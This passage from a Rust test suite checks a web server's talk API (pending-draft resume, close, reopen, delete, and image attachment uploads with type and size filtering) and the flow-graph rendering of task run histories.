9197 "attempt {attempt}: talk {id} left the operator's text queued \
9198 with no drainer - the reclaimed turn was dropped along with \
9199 the handler future (pending {:?}, {} turns)",
9200 fresh.pending,
9201 fresh.turns.len()
9202 );
9203 }
9204 }
9205
9206 #[tokio::test]
9207 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
9208 let (_tmp, _repo, f) = talk_fixture().await;
9209 let id = f.post("/api/talks", None).await.json()["id"]
9210 .as_str()
9211 .expect("id")
9212 .to_owned();
9213 let store = f.talks();
9214 let mut recovered = store.get(&id).expect("opened talk");
9215 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9216 .expect("persist pending draft without a live turn");
9217
9218 let edited = f
9219 .post(
9220 &format!("/api/talks/{id}/pending/edit"),
9221 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
9222 )
9223 .await;
9224 assert_eq!(edited.status, 200, "{}", edited.body);
9225 assert!(edited.json()["thinking"].as_bool().unwrap());
9226
9227 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
9228 for _ in 0..SETTLE_STEPS {
9229 if detail["turns"].as_array().expect("turns").len() == 2 {
9230 break;
9231 }
9232 tokio::time::sleep(Duration::from_millis(10)).await;
9233 detail = f.get(&format!("/api/talks/{id}")).await.json();
9234 }
9235 let turns = detail["turns"].as_array().expect("turns");
9236 assert_eq!(
9237 turns.len(),
9238 2,
9239 "the recovered draft must run once: {detail}"
9240 );
9241 assert_eq!(turns[0]["body"], "corrected");
9242 assert_eq!(detail["pending"], "");
9243 }
9244
9245 #[tokio::test]
9246 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
9247 let tmp = TempDir::new().expect("tempdir");
9248 let repo = tmp.path().join("repo");
9249 std::fs::create_dir_all(&repo).expect("repo dir");
9250 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9251 let f = Fixture::with_repo(repo).await;
9252 let id = f.post("/api/talks", None).await.json()["id"]
9253 .as_str()
9254 .expect("id")
9255 .to_owned();
9256 let store = f.talks();
9257 let mut recovered = store.get(&id).expect("opened talk");
9258 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9259 .expect("persist pending draft without a live turn");
9260
9261 let refused = f
9262 .post(
9263 &format!("/api/talks/{id}/say"),
9264 Some(r#"{"text":"new message"}"#),
9265 )
9266 .await;
9267 assert_eq!(refused.status, 409, "{}", refused.body);
9268 assert!(refused.body.contains("resume"), "{}", refused.body);
9269 let saved = store.get(&id).expect("draft remains after refusal");
9270 assert!(saved.turns.is_empty());
9271 assert_eq!(saved.pending, "saved before restart");
9272
9273 let say_path = format!("/api/talks/{id}/say");
9274 let (first, second) = tokio::join!(
9275 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
9276 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
9277 );
9278 assert_eq!(first.status, 409, "{}", first.body);
9279 assert_eq!(second.status, 409, "{}", second.body);
9280 let saved = store
9281 .get(&id)
9282 .expect("draft remains after concurrent refusals");
9283 assert!(saved.turns.is_empty());
9284 assert_eq!(saved.pending, "saved before restart");
9285
9286 let resumed = f
9287 .post(&format!("/api/talks/{id}/pending/resume"), None)
9288 .await;
9289 assert_eq!(resumed.status, 202, "{}", resumed.body);
9290 let duplicate = f
9291 .post(&format!("/api/talks/{id}/pending/resume"), None)
9292 .await;
9293 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
9294
9295 for _ in 0..SETTLE_STEPS {
9296 if store.get(&id).expect("talk").turns.len() == 2 {
9297 break;
9298 }
9299 tokio::time::sleep(Duration::from_millis(10)).await;
9300 }
9301 let finished = store.get(&id).expect("finished talk");
9302 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9303 assert_eq!(finished.turns[0].body, "saved before restart");
9304 assert!(finished.pending.is_empty());
9305 }
9306
9307 #[tokio::test]
9308 async fn an_image_only_recovered_draft_resumes_without_text() {
9309 let (_tmp, _repo, f) = talk_fixture().await;
9310 let id = f.post("/api/talks", None).await.json()["id"]
9311 .as_str()
9312 .expect("id")
9313 .to_owned();
9314 let uploaded = f
9315 .post_bytes(
9316 &format!("/api/talks/{id}/attachments"),
9317 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
9318 PNG_BYTES,
9319 )
9320 .await;
9321 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9322 let attachment = f
9323 .talks()
9324 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
9325 .expect("attachment metadata")
9326 .expect("stored attachment");
9327 let store = f.talks();
9328 let mut recovered = store.get(&id).expect("opened talk");
9329 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
9330
9331 let resumed = f
9332 .post(&format!("/api/talks/{id}/pending/resume"), None)
9333 .await;
9334 assert_eq!(resumed.status, 202, "{}", resumed.body);
9335 for _ in 0..SETTLE_STEPS {
9336 if store.get(&id).expect("talk").turns.len() == 2 {
9337 break;
9338 }
9339 tokio::time::sleep(Duration::from_millis(10)).await;
9340 }
9341 let finished = store.get(&id).expect("finished talk");
9342 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9343 assert!(finished.turns[0].body.is_empty());
9344 assert_eq!(finished.turns[0].attachments.len(), 1);
9345 assert!(finished.pending_attachments.is_empty());
9346 }
9347
9348 #[tokio::test]
9349 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
9350 let (_tmp, _repo, f) = talk_fixture().await;
9351 let id = f.post("/api/talks", None).await.json()["id"]
9352 .as_str()
9353 .expect("id")
9354 .to_owned();
9355 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9356 assert_eq!(closed.status, 200, "{}", closed.body);
9357 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9358 .expect("serialize closed talk");
9359 for (path, body) in [
9360 (format!("/api/talks/{id}/pending/resume"), None),
9361 (
9362 format!("/api/talks/{id}/pending/clear"),
9363 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
9364 ),
9365 (
9366 format!("/api/talks/{id}/pending/edit"),
9367 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
9368 ),
9369 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
9370 ] {
9371 let response = f.post(&path, body).await;
9372 assert_eq!(response.status, 409, "{}", response.body);
9373 }
9374 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9375 .expect("serialize closed talk");
9376 assert_eq!(
9377 after_clear, before_clear,
9378 "clear must not rewrite a closed talk"
9379 );
9380 }
9381
9382 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
9385
9386 #[tokio::test]
9387 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
9388 let tmp = TempDir::new().expect("tempdir");
9389 let repo = tmp.path().join("repo");
9390 std::fs::create_dir_all(&repo).expect("repo dir");
9391 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9392 let f = Fixture::with_repo(repo).await;
9393 let id_a = f.post("/api/talks", None).await.json()["id"]
9394 .as_str()
9395 .unwrap()
9396 .to_owned();
9397 let id_b = f.post("/api/talks", None).await.json()["id"]
9398 .as_str()
9399 .unwrap()
9400 .to_owned();
9401
9402 let a = f
9403 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
9404 .await;
9405 assert_eq!(a.status, 202, "{}", a.body);
9406 assert_eq!(a.json()["thinking"], true);
9407 let b = f
9408 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
9409 .await;
9410 assert_eq!(b.status, 202, "{}", b.body);
9411 assert_eq!(b.json()["thinking"], true);
9412
9413 let listed = f.get("/api/talks").await.json();
9414 for id in [&id_a, &id_b] {
9415 let view = listed
9416 .as_array()
9417 .unwrap()
9418 .iter()
9419 .find(|talk| talk["id"] == *id)
9420 .unwrap();
9421 assert_eq!(view["thinking"], true, "{listed}");
9422 }
9423 let repeated = f
9424 .post(
9425 &format!("/api/talks/{id_a}/say"),
9426 Some(r#"{"text":"again"}"#),
9427 )
9428 .await;
9429 assert_eq!(repeated.status, 202, "{}", repeated.body);
9430 assert_eq!(repeated.json()["pending"], "again");
9431 }
9432
9433 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
9436
9437 #[tokio::test]
9438 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
9439 let f = Fixture::start().await;
9440 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
9441
9442 let res = f
9443 .post_bytes(
9444 &format!("/api/talks/{id}/attachments"),
9445 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9446 PNG_BYTES,
9447 )
9448 .await;
9449 assert_eq!(res.status, 201, "{}", res.body);
9450 let body = res.json();
9451 assert_eq!(body["name"], "shot.png");
9452 assert_eq!(body["mime"], "image/png");
9453 assert_eq!(body["bytes"], PNG_BYTES.len());
9454 let att_id = body["id"].as_str().expect("id").to_owned();
9455 assert_eq!(
9456 att_id.len(),
9457 32,
9458 "the id must never be a client-suppliable path: {att_id}"
9459 );
9460
9461 let got = f
9462 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
9463 .await;
9464 assert_eq!(got.status, 200, "{}", got.body);
9465 assert_eq!(got.header("content-type"), Some("image/png"));
9466 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
9467 assert_eq!(got.bytes, PNG_BYTES);
9468 }
9469
9470 #[tokio::test]
9471 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
9472 let f = Fixture::start().await;
9473 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
9474
9475 let svg = f
9478 .post_bytes(
9479 &format!("/api/talks/{id}/attachments"),
9480 &[("Content-Type", "image/svg+xml")],
9481 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
9482 )
9483 .await;
9484 assert!(
9485 (400..500).contains(&svg.status),
9486 "svg must be refused: {} {}",
9487 svg.status,
9488 svg.body
9489 );
9490 assert!(svg.body.contains("SVG"), "{}", svg.body);
9491
9492 let text = f
9493 .post_bytes(
9494 &format!("/api/talks/{id}/attachments"),
9495 &[("Content-Type", "text/plain")],
9496 b"just some text",
9497 )
9498 .await;
9499 assert!(
9500 (400..500).contains(&text.status),
9501 "an unlisted type must be refused: {} {}",
9502 text.status,
9503 text.body
9504 );
9505
9506 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
9509 let big = f
9510 .post_bytes(
9511 &format!("/api/talks/{id}/attachments"),
9512 &[("Content-Type", "image/png")],
9513 &oversized,
9514 )
9515 .await;
9516 assert_eq!(
9517 big.status,
9518 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
9519 "{}",
9520 big.body
9521 );
9522 }
9523
9524 #[tokio::test]
9525 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
9526 let f = Fixture::start().await;
9527 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
9528
9529 let res = f
9532 .post_bytes(
9533 &format!("/api/talks/{id}/attachments"),
9534 &[("Content-Type", "image/png")],
9535 b"<html>not a picture</html>",
9536 )
9537 .await;
9538 assert!((400..500).contains(&res.status), "{}", res.body);
9539 }
9540
9541 #[tokio::test]
9542 async fn an_unknown_attachment_id_is_a_404() {
9543 let f = Fixture::start().await;
9544 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
9545
9546 let res = f
9547 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
9548 .await;
9549 assert_eq!(res.status, 404, "{}", res.body);
9550 }
9551
9552 #[tokio::test]
9553 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
9554 let f = Fixture::start().await;
9555 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
9556
9557 let uploaded = f
9558 .post_bytes(
9559 &format!("/api/talks/{id}/attachments"),
9560 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9561 PNG_BYTES,
9562 )
9563 .await;
9564 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9565 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
9566
9567 let res = f
9568 .post(
9569 &format!("/api/talks/{id}/say"),
9570 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
9571 )
9572 .await;
9573 assert_eq!(res.status, 202, "{}", res.body);
9574 let queued = res.json();
9575 let turns = queued["turns"].as_array().expect("turns array");
9576 assert_eq!(
9577 turns.len(),
9578 1,
9579 "an empty body with an attachment is still a turn: {queued}"
9580 );
9581 assert_eq!(turns[0]["who"], "operator");
9582 assert_eq!(turns[0]["body"], "");
9583 let atts = turns[0]["attachments"]
9584 .as_array()
9585 .expect("attachments array");
9586 assert_eq!(atts.len(), 1);
9587 assert_eq!(atts[0]["id"], att_id);
9588 assert_eq!(atts[0]["mime"], "image/png");
9589
9590 let on_disk = f.talks().get(&id).expect("get");
9593 assert_eq!(on_disk.turns[0].attachments.len(), 1);
9594 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
9595 }
9596
9597 #[tokio::test]
9598 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
9599 let f = Fixture::start().await;
9600 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
9601
9602 let res = f
9603 .post(
9604 &format!("/api/talks/{id}/say"),
9605 Some(&format!(
9606 r#"{{"text":"hi","attachments":["{}"]}}"#,
9607 "a".repeat(32)
9608 )),
9609 )
9610 .await;
9611 assert!((400..500).contains(&res.status), "{}", res.body);
9612 assert!(res.body.contains("unknown attachment"), "{}", res.body);
9613
9614 let on_disk = f.talks().get(&id).expect("get");
9615 assert!(
9616 on_disk.turns.is_empty(),
9617 "a rejected attachment id must not partially record the turn: {:?}",
9618 on_disk.turns
9619 );
9620 }
9621
9622 #[tokio::test]
9623 async fn talk_close_makes_the_talk_refuse_further_turns() {
9624 let f = Fixture::start().await;
9625 let id = seed_talk(&f, "20260904-014455-cd34", "open");
9626
9627 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9628 assert_eq!(closed.status, 200, "{}", closed.body);
9629 assert_eq!(closed.json()["status"], "closed");
9630
9631 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
9633 assert_eq!(closed_again.status, 200);
9634 assert_eq!(closed_again.json()["status"], "closed");
9635
9636 let said = f
9637 .post(
9638 &format!("/api/talks/{id}/say"),
9639 Some(r#"{"text":"too late"}"#),
9640 )
9641 .await;
9642 assert_eq!(said.status, 409, "{}", said.body);
9643 }
9644
9645 #[tokio::test]
9646 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
9647 let (_tmp, _repo, f) = talk_fixture().await;
9648 let id = f.post("/api/talks", None).await.json()["id"]
9649 .as_str()
9650 .expect("id")
9651 .to_owned();
9652 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9653 assert_eq!(closed.status, 200, "{}", closed.body);
9654
9655 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9656 assert_eq!(reopened.status, 200, "{}", reopened.body);
9657 assert_eq!(reopened.json()["status"], "open");
9658
9659 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9661 assert_eq!(reopened_again.status, 200);
9662 assert_eq!(reopened_again.json()["status"], "open");
9663
9664 let said = f
9665 .post(
9666 &format!("/api/talks/{id}/say"),
9667 Some(r#"{"text":"still there?"}"#),
9668 )
9669 .await;
9670 assert_eq!(
9671 said.status, 202,
9672 "a reopened talk accepts turns again: {}",
9673 said.body
9674 );
9675 }
9676
9677 #[tokio::test]
9678 async fn talk_reopen_on_an_unknown_id_is_404() {
9679 let f = Fixture::start().await;
9680 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
9681 assert_eq!(res.status, 404, "{}", res.body);
9682 }
9683
9684 #[tokio::test]
9685 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
9686 let f = Fixture::start().await;
9687 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
9688
9689 let deleted = f.delete(&format!("/api/talks/{id}")).await;
9690 assert_eq!(deleted.status, 204, "{}", deleted.body);
9691
9692 let after = f.get(&format!("/api/talks/{id}")).await;
9693 assert_eq!(after.status, 404, "{}", after.body);
9694
9695 let listed = f.get("/api/talks").await.json();
9696 assert!(
9697 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
9698 "a deleted talk must not linger in the list: {listed}"
9699 );
9700 }
9701
9702 #[tokio::test]
9703 async fn talk_delete_on_an_unknown_id_is_404() {
9704 let f = Fixture::start().await;
9705 let res = f.delete("/api/talks/nonexistent-id").await;
9706 assert_eq!(res.status, 404, "{}", res.body);
9707 }
9708
9709 #[tokio::test]
9713 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
9714 let f = Fixture::start().await;
9715 let (a, b, gone) = (
9716 "20260902-140501-aaaa",
9717 "20260902-140502-bbbb",
9718 "20260902-140503-cccc",
9719 );
9720 write_run(&f.runs(), a, RunStatus::Stalled);
9721 let mut review = RunState::new(
9722 PathBuf::from("/repo/magi"),
9723 "main".to_owned(),
9724 "0123456789abcdef".to_owned(),
9725 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
9726 .to_owned(),
9727 Config::default(),
9728 );
9729 review.id = b.to_owned();
9730 review.status = RunStatus::Merged;
9731 write_state(&f.runs(), &review);
9732
9733 let mut task = Task::new(
9734 "retry".to_owned(),
9735 "Do the thing".to_owned(),
9736 PathBuf::from("/repo/magi"),
9737 Source::Human,
9738 );
9739 task.start(a.to_owned());
9740 task.stall("quota");
9741 task.start(a.to_owned());
9742 task.start(b.to_owned());
9743 task.start(gone.to_owned());
9744 f.queue().put(&mut task).expect("file the task");
9745
9746 let res = f.get(&format!("/api/queue/{}", task.id)).await;
9747 assert_eq!(res.status, 200, "{}", res.body);
9748 let v = res.json();
9749 let h = v["history"].as_array().expect("history");
9750 assert_eq!(h.len(), 4, "{v}");
9751 assert_eq!(h[0]["kind"], "competition");
9752 assert_eq!(h[0]["status"], "stalled");
9753 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
9754 assert_eq!(h[1]["kind"], "resume", "{v}");
9755 assert!(
9756 h[0]["outcome"]
9757 .as_str()
9758 .unwrap()
9759 .contains("unknown. Pass #2"),
9760 "an earlier pass of a resumed run must not claim the final outcome: {v}"
9761 );
9762 assert!(
9763 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
9764 "{v}"
9765 );
9766 assert!(
9767 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
9768 "an unrecorded cause must not be narrated as an operator park: {v}"
9769 );
9770 assert_eq!(h[2]["kind"], "review");
9771 assert!(
9772 h[2]["description"]
9773 .as_str()
9774 .unwrap()
9775 .contains("magi/aaaa/A")
9776 );
9777 assert_eq!(h[2]["status"], "merged");
9778 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
9779 assert_eq!(v["runs_unreadable"], 1);
9780 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
9781 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
9782 assert_eq!(nodes[4]["note"], "unreadable");
9783 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
9784 assert_eq!(v["instruction"], "Do the thing");
9785 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
9786
9787 let run = f.get(&format!("/api/runs/{a}")).await.json();
9789 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
9790
9791 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
9792 }
9793
9794 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
9795 let mut s = RunState::new(
9796 PathBuf::from("/repo/magi"),
9797 "main".to_owned(),
9798 "0123456789abcdef".to_owned(),
9799 "Do it".to_owned(),
9800 Config::default(),
9801 );
9802 s.status = status;
9803 edit(&mut s);
9804 s
9805 }
9806
9807 fn flow_task(runs: &[&str]) -> Task {
9808 let mut t = Task::new(
9809 "t".to_owned(),
9810 "Do it".to_owned(),
9811 PathBuf::from("/repo/magi"),
9812 Source::Human,
9813 );
9814 for r in runs {
9815 t.start((*r).to_owned());
9816 }
9817 t
9818 }
9819
9820 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
9821 let h = task_history(task, |id| {
9822 states
9823 .iter()
9824 .find(|(i, _)| *i == id)
9825 .and_then(|(_, s)| s.clone())
9826 });
9827 task_flow(task, &h, 5)
9828 }
9829
9830 #[test]
9831 fn flow_opens_with_the_chat_that_queued_the_task() {
9832 let mut t = flow_task(&[]);
9833 t.source = Source::Agent {
9834 run: "a b/c".to_owned(),
9835 node: crate::queue::CHAT_NODE.to_owned(),
9836 };
9837 let f = flow_for(&t, &[]);
9838 assert_eq!(f.nodes[0].key, "chat");
9839 assert_eq!(f.nodes[0].kind, "chat");
9840 assert_eq!(
9841 f.nodes[0].label,
9842 format!("Chat {}", crate::queue::short("a b/c"))
9843 );
9844 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
9845 assert_eq!(f.nodes[1].key, "start");
9846 assert_eq!(
9847 f.edges[0],
9848 FlowEdge {
9849 from: "chat".to_owned(),
9850 to: "start".to_owned(),
9851 label: "queued from chat".to_owned(),
9852 attempt: AttemptCost::None,
9853 }
9854 );
9855 }
9856
9857 #[test]
9858 fn flow_has_no_chat_box_for_other_sources() {
9859 for source in [
9860 Source::Human,
9861 Source::Issue {
9862 number: 3,
9863 repo: "o/r".to_owned(),
9864 },
9865 Source::Agent {
9866 run: "20260904-014455-ab12".to_owned(),
9867 node: "implement".to_owned(),
9868 },
9869 ] {
9870 let mut t = flow_task(&[]);
9871 t.source = source;
9872 let f = flow_for(&t, &[]);
9873 assert_eq!(f.nodes[0].key, "start");
9874 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
9875 assert!(f.edges.iter().all(|e| e.from != "chat"));
9876 }
9877 }
9878
9879 const FA: &str = "20260902-140501-aaaa";
9880 const FB: &str = "20260902-140502-bbbb";
9881
9882 #[test]
9883 fn flow_follows_blocked_retry_merged_to_done() {
9884 let mut t = flow_task(&[FA, FB]);
9885 t.status = TaskStatus::Done;
9886 let f = flow_for(
9887 &t,
9888 &[
9889 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
9890 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
9891 ],
9892 );
9893 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
9894 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
9895 assert_eq!(f.edges.len(), 3);
9896 assert_eq!(f.edges[0].label, "claimed");
9897 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
9898 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9899 assert_eq!(f.edges[2].label, "merged \u{2192} done");
9900 assert_eq!(
9901 f.nodes[2].href.as_deref(),
9902 Some("#/runs/20260902-140502-bbbb")
9903 );
9904 assert!(f.nodes[2].decided);
9905 }
9906
9907 #[test]
9908 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
9909 let quota = || {
9910 flow_run(RunStatus::Stalled, |s| {
9911 s.quota.push(crate::run::QuotaLoss {
9912 seat: "judge-1".to_owned(),
9913 node: "judge".to_owned(),
9914 at: Timestamp::now(),
9915 reset: None,
9916 })
9917 })
9918 };
9919 let mut t = flow_task(&[FA, FA]);
9920 t.status = TaskStatus::Queued;
9921 let f = flow_for(&t, &[(FA, Some(quota()))]);
9922 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
9923 assert_eq!(f.nodes[1].note, Some("interrupted"));
9924 assert_eq!(
9925 f.nodes[1].status, None,
9926 "no outcome copied onto an earlier pass"
9927 );
9928 assert_eq!(
9929 f.edges[1].attempt,
9930 AttemptCost::Unknown,
9931 "a resume does not prove the earlier pass was refunded"
9932 );
9933 assert!(f.edges[1].label.contains("resume the same run"));
9934 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
9935 assert_eq!(
9936 f.edges[2].label,
9937 "stalled after a resume, refund unknown \u{2192} queued"
9938 );
9939 assert!(!f.nodes[2].decided, "a stall is not a decision");
9940 assert_eq!(f.nodes[2].note, Some("no verdict"));
9941 }
9942
9943 #[test]
9944 fn flow_single_pass_quota_stall_is_refunded() {
9945 let t = flow_task(&[FA]);
9946 let f = flow_for(
9947 &t,
9948 &[(
9949 FA,
9950 Some(flow_run(RunStatus::Stalled, |s| {
9951 s.quota.push(crate::run::QuotaLoss {
9952 seat: "judge-1".to_owned(),
9953 node: "judge".to_owned(),
9954 at: Timestamp::now(),
9955 reset: None,
9956 })
9957 })),
9958 )],
9959 );
9960 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9961 }
9962
9963 #[test]
9964 fn flow_parked_refunds_and_stall_without_quota_spends() {
9965 let mut t = flow_task(&[FA]);
9966 t.status = TaskStatus::Queued;
9967 let f = flow_for(
9968 &t,
9969 &[(
9970 FA,
9971 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
9972 )],
9973 );
9974 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
9975 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9976 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
9977 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9978 assert!(!f.nodes[1].decided);
9979 }
9980
9981 #[test]
9982 fn flow_keeps_an_unreadable_run_as_its_own_node() {
9983 let t = flow_task(&[FA, FB]);
9984 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
9985 assert_eq!(f.nodes[1].note, Some("unreadable"));
9986 assert!(!f.nodes[1].readable);
9987 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
9988 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
9989 }
9990
9991 #[test]
9992 fn flow_names_the_branch_of_a_review_only_run() {
9993 let t = flow_task(&[FA]);
9994 let f = flow_for(
9995 &t,
9996 &[(
9997 FA,
9998 Some(flow_run(RunStatus::Merged, |s| {
9999 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
10000 })),
10001 )],
10002 );
10003 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
10004 assert_eq!(
10005 f.nodes[1].detail.as_deref(),
10006 Some("review-only run of branch magi/x/A")
10007 );
10008 }
10009
10010 #[test]
10011 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
10012 let mut t = flow_task(&[FA]);
10013 t.status = TaskStatus::Held;
10014 let pr = crate::run::PrRecord {
10015 url: "https://example.test/pr/1".to_owned(),
10016 number: 1,
10017 state: "open".to_owned(),
10018 checks: "green".to_owned(),
10019 round: 0,
10020 rounds: 3,
10021 red_at_merge: Vec::new(),
10022 };
10023 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
10024 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
10025 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
10026 t.status = TaskStatus::Done;
10027 let f = flow_for(&t, &[(FA, Some(blocked))]);
10028 assert_eq!(f.edges[1].label, "closed by hand: task is done");
10029 }
10030
10031 #[test]
10032 fn flow_with_no_runs_goes_from_queued_to_queued() {
10033 let t = flow_task(&[]);
10034 let f = flow_for(&t, &[]);
10035 assert_eq!(f.nodes.len(), 2);
10036 assert_eq!(f.edges.len(), 1);
10037 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
10038 assert_eq!(f.edges[0].attempt, AttemptCost::None);
10039 }
10040
10041 #[test]
10044 fn a_parked_non_terminal_run_is_explained_as_parked() {
10045 let mut s = RunState::new(
10046 PathBuf::from("/repo/magi"),
10047 "main".to_owned(),
10048 "0123456789abcdef".to_owned(),
10049 "Do it".to_owned(),
10050 Config::default(),
10051 );
10052 s.status = RunStatus::Implementing;
10053 s.parked = true;
10054 let task = Task::new(
10055 "t".to_owned(),
10056 "Do it".to_owned(),
10057 PathBuf::from("/repo/magi"),
10058 Source::Human,
10059 );
10060 let v = task_run_view(
10061 "20260902-140501-aaaa",
10062 Some(&s),
10063 RunSlot {
10064 n: 1,
10065 resumed: false,
10066 resumed_later: None,
10067 prior: None,
10068 last: true,
10069 },
10070 &task,
10071 );
10072 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
10073 }
10074
10075 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
10076 let mut s = flow_run(RunStatus::Implementing, edit);
10077 s.parked = false;
10078 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
10079 task_run_view(
10080 "20260902-140501-aaaa",
10081 Some(&s),
10082 RunSlot {
10083 n: 1,
10084 resumed: false,
10085 resumed_later: Some(2),
10086 prior: None,
10087 last: false,
10088 },
10089 &task,
10090 )
10091 }
10092
10093 #[test]
10094 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
10095 let v = earlier_pass_view(|_| {});
10096 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
10097 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10098 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
10099 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
10100 assert_eq!(v.exit, RunExit::Interrupted);
10101 assert_eq!(v.attempt, AttemptCost::Unknown);
10102 }
10103
10104 #[test]
10105 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
10106 let v = earlier_pass_view(|s| {
10107 s.quota.push(crate::run::QuotaLoss {
